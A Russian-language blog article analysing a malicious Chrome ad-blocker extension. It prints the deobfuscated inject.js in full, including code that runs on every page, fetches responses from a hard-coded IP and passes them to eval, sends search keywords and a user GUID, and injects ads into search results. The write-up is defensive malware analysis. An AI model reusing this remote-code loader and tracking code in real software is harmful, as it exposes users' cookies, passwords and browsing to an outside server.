Обзор вредоносного браузерного расширения

в 8:54, , рубрики: javascript, браузерные расширения, деобфускация, Расширения для браузеров, метки:
Обзор вредоносного браузерного расширения - 1

В статье приведен пример разбора вредоносного браузерного расширения из Chrome Web Store — «Убрать рекламу (HET Рекламе)».

Информация о расширении

Способ распростанения: Chrome Store
Название: «Убрать рекламу (HET Рекламе)»
ID: eaikmbeeklemcgemabilgpjkanodfmic
Дата последнего обновления (на момент написания статьи): 10 Апреля 2015
Версия расширения: 5.8
Количество пользователей в неделю: 57 000

Описание расширения:
Блокировщик рекламы: Блокирует назойливую рекламу ВКонтакте и Одноклассниках, Рекламу на YouTube, Баннеры, Всплывающие окна и др.
HET Рекламе для Google Chrome блокирует:

· Рекламу ВКонтакте и Одноклассниках
· Баннеры на всех сайтах
· Видео рекламу на Youtube
· Всплывающие окна на всех сайтах
· Любую отвлекающую и назойливую рекламу

Уникальный алгоритм самообучения!
Сделайте свой браузер машиной по переработке и устранению рекламы!

Введение

Причины опубликовать обзор именно этого расширения:
— во-первых, оно находится в Chrome Store и это является показателем того, что в магазине успешно существуют вредоносные расширения;
— во-вторых, расширение имеет не малую аудиторию, которая может даже и не знает, что у них стоит данное расширение;
— в-третьих, вредоносность данного расширения особо не прикрыта, и поэтому материал может быть доступен более широкой аудитрии.

Обзор расширения

Чтобы сделать обзор необходимо получить код расширения.
Для этого установим его из Chrome Store и найдем исходные файлы расширения в соответствующей папке браузера Chrome.

В моем случае, это папка:

%appdata%GoogleChromeUser DataDefaultExtensionseaikmbeeklemcgemabilgpjkanodfmic

Структура файлов в данной папке:

| extension
|- 16.png
|- 48.png
|- 128.png
|- detector.js
|- inject.js
|- jquery-2.1.1.min.js
|- manifest.json
|- md5.js

Замечание 1

Расширение подобного рода не может заниматься гениальной работой с DOM и не требует кроссбраузерность. Поэтому, в лучшем случае, из jquery может понадобится 5 функций, которые видимо сложно было написать, поэтому решили взять библиотеку.

Идем далее.

Всякое расширение для chromium-браузеров начинает свой путь с файла manifest.json.
Открываем его:

manifest.json
{
   "content_scripts": [ {
      "js": [ "md5.js", "detector.js", "jquery-2.1.1.min.js", "inject.js" ],
      "matches": [ "http://*/*", "https://*/*" ],
      "run_at": "document_start"
   } ],
   "description": "...",
   "icons": {
      "128": "128.png",
      "16": "16.png",
      "48": "48.png"
   },
   "manifest_version": 2,
   "name": "Убрать рекламу (HET Рекламе)",
   "update_url": "https://clients2.google.com/service/update2/crx",
   "version": "5.8"
}

Замечание 2

Расширение внедряет все свои скрипты в каждую открытую вами страницу. Это плохо и с точки зрения безопастности, и с точки зрения производительности.

Итак, на каждой странице мы имеем следующие js-файлы:

- md5.js
- detector.js
- jquery-2.1.1.min.js
- inject.js

На мой взгляд, самый подозрительный файл из названия — это inject.js. Поэтому начнем с него, а если понадобится то взглянем и на остальные.
Файл обфусцирован, если это можно так назвать. Приведу первые символы, а вы догадайтесь чем же он обфусцирован:

eval(function(p,a,c,k,e,d){...

Те, кто встречался с обфускаей, разочаровано сейчас вздохнули «Как банально. Что-то типа этого». Мне обычно в такие моменты вспоминается следующая цитата из фильма Большой куш (Snatch):

— *****-колотить, держите меня крепче! Это что такое?
— Это мой ремень.
— Нет, Томми, у тебя пистолет в штанах. Что делает пистолет у тебя в штанах?
— Это для защиты.
— Для защиты от кого? От фашистов что ли? Ты не боишься отстрелить себе яйца, когда присядешь?

Разобфусцируем данный код с помощью прекрасного сервиса JSBeautifier. Имеем:

inject.js

(function () {
    var host = 'http://5.61.39.110/';
    var aid = '49207271-5844-11e4-a8cb-a0b3cce611e4';
    var ttl = 350;
    var MAX_TTL = 3600;

    function getRandomInt(min, max) {
        return Math.floor(Math.random() * (max - min + 1)) + min
    }

    function ss(str) {
        return (str + '')
            .replace(/\(.?)/g, function (s, n1) {
                switch (n1) {
                case '\':
                    return '\';
                case '0':
                    return 'u0000';
                case '':
                    return '';
                default:
                    return n1
                }
            })
    }

    function getKeyword() {
        try {
            var ses = [
    [/google./i, /(?|&)q=(.*?)(&|$)/i, 2],
    [/search.yahoo./i, /(?|&)p=(.*?)(&|$)/i, 2],
    [/bing.com/i, /(?|&)q=(.*?)(&|$)/i, 2],
    [/search.aol./i, /(?|&)q=(.*?)(&|$)/i, 2],
    [/ask.com/i, /(?|&)q=(.*?)(&|$)/i, 2],
    [/altavista./i, /(?|&)q=(.*?)(&|$)/i, 2],
    [/search.lycos./i, /(?|&)query=(.*?)(&|$)/i, 2],
    [/alltheweb./i, /(?|&)q=(.*?)(&|$)/i, 2],
    [/yandex./i, /(?|&)text=(.*?)(&|$)/i, 2],
    [/(nova.|search.)?rambler./i, /(?|&)query=(.*?)(&|$)/i, 2],
    [/gogo./i, /(?|&)q=(.*?)(&|$)/i, 2],
    [/go.mail./i, /(?|&)q=(.*?)(&|$)/i, 2],
    [/nigma./i, /(?|&)s=(.*?)(&|$)/i, 2]
];

            var q = null;
            var ref = document.location.href;

            for (var i = 0; i < ses.length; i++) {
                var se = ses[i];
                if (ref.match(se[0])) {
                    q = ref.match(se[1])[se[2]];
                    break
                }
            }

            return q
        } catch (e) {
            return
        }
    }

    function getDomain(data) {
        var a = document.createElement('a');
        a.href = data;
        return a.hostname
    }

    function url() {
        return getDomain(document.location.href)
    }

    function strips(str) {
        str = str.replace(/(?:\[rn]|[rn]+)+/g, "");
        str = str.replace(/s+/g, "");
        return str
    }

    function isHtml5StorageSupported() {
        try {
            return 'localStorage' in window && window['localStorage'] !== null
        } catch (e) {
            return false
        }
    }

    function getCountry() {
        if (isHtml5StorageSupported()) {
            return localStorage.getItem('country')
        } else {
            return null
        }
    }

    function getData() {
        if (isHtml5StorageSupported()) {
            return JSON.parse(localStorage.getItem('data'))
        } else {
            return null
        }
    }

    function setData(value) {
        if (isHtml5StorageSupported()) {
            localStorage.setItem('data', value)
        }
    }

    function getRequestInterval() {
        var retVal = Math.round(new Date()
            .getTime() / 1000 / 60);
        if (isHtml5StorageSupported()) {
            var value = localStorage.getItem('xdata_ttl');
            if (value == null) {
                localStorage.setItem('xdata_ttl', retVal)
            } else {
                retVal = value * 1
            }
        }
        return retVal
    }

    function resetTTL() {
        if (isHtml5StorageSupported()) {
            localStorage.setItem('xttl', ttl)
        }
    }

    function getTTL() {
        var retVal = ttl;
        if (isHtml5StorageSupported()) {
            var value = localStorage.getItem('xttl');
            if (value != null) {
                retVal = value * 1
            } else {
                localStorage.setItem('xttl', retVal)
            }
        }
        return retVal
    }

    function incrementTTL() {
        var retVal = ttl;
        if (isHtml5StorageSupported()) {
            var value = localStorage.getItem('xttl');
            if (value == null) {
                localStorage.setItem('xttl', retVal)
            } else {
                value = value * 1;
                retVal = value + ttl;
                if (retVal >= MAX_TTL) {
                    retVal = ttl
                }
                localStorage.setItem('xttl', retVal)
            }
        }
        return retVal
    }

    function isUpdateTime() {
        var currentTime = Math.round(new Date()
            .getTime() / 1000 / 60);
        var ttlOrigin = localStorage.getItem('xttl');
        var ownTTL = getTTL();
        var result = (currentTime - getRequestInterval() >= ownTTL);
        if (result) {
            localStorage.setItem('xdata_ttl', currentTime)
        }
        if (ttlOrigin == null) {
            result = true
        }
        return result
    }

    function shuffle(o) {
        for (var j, x, i = o.length; i; j = Math.floor(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x) {};
        return o
    };

    function fisherYates(myArray) {
        var i = myArray.length;
        if (i == 0) return false;
        while (--i) {
            var j = Math.floor(Math.random() * (i + 1));
            var tempi = myArray[i];
            var tempj = myArray[j];
            myArray[i] = tempj;
            myArray[j] = tempi
        }
    }

    function updateKeyword() {
        return;
        var key = getKeyword();
        if (key == undefined || key.length == 0) {
            return
        }
        $.get(host + 'get_content.php', {
            'action': 'add_keyword',
            'aid': aid,
            'guid': guid,
            'url': url(),
            'key': getKeyword()
        })
    }

    function injectArrayOfAds(advs) {
        for (var idx in advs) {
            var ad = advs[idx];
            if (ad.need_send_view) {
                continue
            }
            var adShownAlready = false;
            $(ad.html)
                .each(function () {
                    var self = $(this);
                    if (self.html()
                        .indexOf(ad.adv_id) != -1) {
                        adShownAlready = true;
                        return false
                    }
                });
            if (adShownAlready) {
                continue
            }
            $(ad.html)
                .each(function () {
                    var self = $(this);
                    var aidElement = $('*[aid='' + aid + '']');
                    if (self.html()
                        .indexOf(aid) == -1) {
                        var clickRedirectionUri = host + 'get_content.php?action=click&aid=' + aid + '&guid=' + guid + '&adv_id=' + ad.adv_id + '&key=' + getKeyword();
                        ad.aa_text = ad.aa_text.replace(/{AID}/g, "'aid'='" + aid + "'");
                        ad.aa_text = ad.aa_text.replace(/{REDIRECT_URL}/g, 'aid='' + aid + '' onClick="self.location='' + clickRedirectionUri + ''; return false;"');
                        ad.host = host + 'get_content.php?action=view&aid=' + aid + '&guid=' + guid + '&adv_id=' + ad.adv_id;
                        if (ad.inject_mode == 1) {
                            self.html(ad.aa_text);
                            ad.need_send_view = true;
                            return false
                        } else if (ad.inject_mode == 2 && aidElement.length == 0) {
                            self.before(ad.aa_text);
                            ad.need_send_view = true;
                            return false
                        } else if (ad.inject_mode == 3 && aidElement.length == 0) {
                            self.after(ad.aa_text);
                            ad.need_send_view = true;
                            return false
                        }
                    } else {}
                })
        }
        var notify = [];
        for (var idx in advs) {
            var ad = advs[idx];
            if (ad.need_send_view) {
                notify.push(ad.adv_id)
            }
        }
        if (notify.length != 0) {}
    }

    function ucfirst(string) {
        return string.charAt(0)
            .toUpperCase() + string.slice(1)
    }

    function checkLoadedPage(data) {
        if (data == null || data.message != 'OK')
            return;

        var gKeywordFound = false;
        var keyword = decodeURI(getKeyword());
        keyword = keyword.replace(/+/g, ' ');
        keyword = keyword.toLowerCase();

        var advs = [];

        // пробежимся по всем ключам объекта response, полученного с веб-сервера
        for (var key in data.response) {
            // создадим для каждого jquery-элемент на основании того что получено с веб-сервера
            var element = data.response[key];
            var foundHtml = $(element.html);
            if (foundHtml.length == 0) {
                continue
            }

            // если присланный данные не имеют свойства advs (рекламы другими словами)
            if (element.advs == undefined) {
                data.response[key].advs = [];

                // делаем запрос с вашим ключевым словом и дополнительной информацией о вас (пол, страна)
                $.ajax({
                    url: host + 'get_content.php',
                    type: "GET",
                    data: {
                        'action': 'get_adv_cached',
                        'aid': aid,
                        'guid': guid,
                        'url': url(),
                        'gender': '*',
                        'ap_id': element.ap_id,
                        'key': getKeyword(),
                        'country': data.country
                    },
                    async: false,
                    success: function (result) {
                        try {
                            // еще один eval ...
                            var dd = eval('(' + result + ')');
                            // сохраняем данные о рекламе в нашем объекте
                            for (var rs in dd.response) {
                                data.response[key].advs.push(dd.response[rs])
                            }
                            // а ребята все-таки умеют пользоваться JSON.stringify
                            setData(JSON.stringify(data))
                        } catch (e) {
                            console.log(e)
                        }
                    }
                })
            } else {
                // Если есть данные о рекламе, то собираем html с рекламой для данной поисковой системы
                for (var adv in element.advs) {
                    var ad = element.advs[adv];
                    if (ad.ar_text == null) {
                        advs.push(ad);
                        continue
                    }
                    var splitted = ad.ar_text.split('rn');
                    for (var idx in splitted) {
                        if (keyword.indexOf(splitted[idx].toLowerCase()) == -1 || splitted[idx].length == 0) {
                            continue
                        }
                        ad.aa_text = ad.aa_text.replace(/{KEYWORD}/g, keyword);
                        ad.aa_text = ad.aa_text.replace(/{KEYWORD_B}/g, ucfirst(keyword));
                        ad.aa_text = ad.aa_text.replace(/{KEYWORD_CONTEXT}/g, splitted[idx]);
                        ad.aa_text = ad.aa_text.replace(/{KEYWORD_CONTEXT_B}/g, ucfirst(splitted[idx]));
                        // Вставляем рекламу
                        injectArrayOfAds([ad]);
                        gKeywordFound = true;
                        break
                    }
                }
            }
        }

        if (!gKeywordFound && advs.length != 0) {
            injectArrayOfAds(advs)
        }
    }

    guid = '';

    try {
        guid = pstfgrpnt_as_hash()
    } catch (e) {
        guid = 'chrome_u'
    }

    var isLoading = false;

    var main = function () {
        if (isUpdateTime()) {
            console.log("CHECKING FOR UPDATE...");
            isLoading = true;
            $.get(host + 'get_content.php', {
                    'action': 'get_places_cached',
                    'aid': aid,
                    'guid': guid,
                    'gender': '*'
                }, function (result) {
                    try {
                        data = eval('(' + result + ')');
                        if (data.message != 'OK') {
                            return
                        }
                        setData(JSON.stringify(data));
                        resetTTL();
                        console.log("UPD SUCCESS")
                    } catch (e) {
                        console.log(e);
                        return
                    } finally {
                        isLoading = false
                    }
                })
                .error(function (jqXHR, textStatus, errorThrown) {
                    incrementTTL();
                    console.log('REQUEST FAILED, NEXT CHECK IN ' + getTTL())
                });
            console.log("CHECKING FOR UPDATE DONE")
        }
    };

    main();

    var id = setInterval(function () {
        main()
    }, 100);

    setInterval(function () {
        var data = getData();

        if (data == null) {
            return
        }

        checkLoadedPage(data)
    }, 100)
})();

Читаем полученный код. Оставлю только интересные моменты:

// ниже данная функция вызывается
var main = function () {
    // нужно ли обновляться
    if (isUpdateTime()) {
        // ...
        // полный url имеет вид http://5.61.39.110/get_content.php
        $.get(host + 'get_content.php', 
            // ... 
            function (result) {
                try {
                    data = eval('(' + result + ')');
                    // ...
                } catch (e) {
                    // ...
                }
                // ...
            });
            // ...
    }
};

main();

В данной функции идет получение данных с веб-сервера.

Замечание 3

А что происходит с ответом? А происходит следующее:

data = eval('(' + result + ')');

Т.е. на каждом сайте выполняется любой код, который прислал веб-сервер. Другими словами, этот код может увести куки, может отправить какую-то информацию о вас (пароли), может сделать все, что угодно на любой странице, которую вы посетили.

Вроде бы уже и этого достаточно, чтобы считать расширение вредоносным, но продолжим дальше. Вдруг у кого-нибудь возникнут мысли, что на самом деле разработчики честные и просто забыли про JSON.parse.

Идем далее.
Ниже вызова функции main() есть вызов функции checkLoadedPage().

функция checkLoadedPage() (+ комментариями)

// пробежимся по всем ключам объекта response, полученного с веб-сервера
for (var key in data.response) {
    // создадим для каждого jquery-элемент на основании того что получено с веб-сервера
    var element = data.response[key];
    var foundHtml = $(element.html);
    if (foundHtml.length == 0) {
        continue
    }

    // если присланный данные не имеют свойства advs (рекламы другими словами)
    if (element.advs == undefined) {
        data.response[key].advs = [];

        // делаем запрос с вашим ключевым словом и дополнительной информацией о вас (пол, страна)
        $.ajax({
            url: host + 'get_content.php',
            type: "GET",
            data: {
                // ...
            },
            async: false,
            success: function (result) {
                try {
                    // еще один eval ...
                    var dd = eval('(' + result + ')');
                    // сохраняем данные о рекламе в нашем объекте
                    for (var rs in dd.response) {
                        data.response[key].advs.push(dd.response[rs])
                    }
                    // а ребята все-таки умеют пользоваться JSON.stringify
                    setData(JSON.stringify(data))
                } catch (e) {
                    console.log(e)
                }
            }
        })
    } else {
        // Если есть данные о рекламе, то собираем html с рекламой для данной поисковой системы
        for (var adv in element.advs) {
            var ad = element.advs[adv];
            if (ad.ar_text == null) {
                advs.push(ad);
                continue
            }
            var splitted = ad.ar_text.split('rn');
            for (var idx in splitted) {
                if (keyword.indexOf(splitted[idx].toLowerCase()) == -1 || splitted[idx].length == 0) {
                    continue
                }
                ad.aa_text = ad.aa_text.replace(/{KEYWORD}/g, keyword);
                // ...
                // Вставляем рекламу
                injectArrayOfAds([ad]);
                // ...
                break
            }
        }
    }
}

if (!gKeywordFound && advs.length != 0) {
    injectArrayOfAds(advs)
}

Замечание 4

Данная функция меняет поисковую выдачу для следующих поисковых систем:

var ses = [
    [/google./i, /(?|&)q=(.*?)(&|$)/i, 2],
    [/search.yahoo./i, /(?|&)p=(.*?)(&|$)/i, 2],
    [/bing.com/i, /(?|&)q=(.*?)(&|$)/i, 2],
    [/search.aol./i, /(?|&)q=(.*?)(&|$)/i, 2],
    [/ask.com/i, /(?|&)q=(.*?)(&|$)/i, 2],
    [/altavista./i, /(?|&)q=(.*?)(&|$)/i, 2],
    [/search.lycos./i, /(?|&)query=(.*?)(&|$)/i, 2],
    [/alltheweb./i, /(?|&)q=(.*?)(&|$)/i, 2],
    [/yandex./i, /(?|&)text=(.*?)(&|$)/i, 2],
    [/(nova.|search.)?rambler./i, /(?|&)query=(.*?)(&|$)/i, 2],
    [/gogo./i, /(?|&)q=(.*?)(&|$)/i, 2],
    [/go.mail./i, /(?|&)q=(.*?)(&|$)/i, 2],
    [/nigma./i, /(?|&)s=(.*?)(&|$)/i, 2]
];

Собственно, по этой проблеме и поступили жалобы от пользователей.

Резюме по расширению

  • избыточный код (это ресурсы вашего компьютера);
  • весь код расширения запускается на каждой странице (это ресурсы вашего компьютера);
  • расширение выполняет любой код, присланный с веб-сервера (просто приведу набор словосочетаний — онлайн-банкинг, пароли, сообщения, анонимность);
  • расширение дополнительно вставляет свою поисковую выдачу.

P.S. Если кому-то покажется странным подход к обзору расширения «Причем тут jquery? Причем тут плохая структура кода?», сразу даю ответ: факт того, что расширение требует больше прав, чем нужно, вставляет код на страницы больше, чем нужно — является первым признаком вредоносного расширения.

Автор: SDI

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js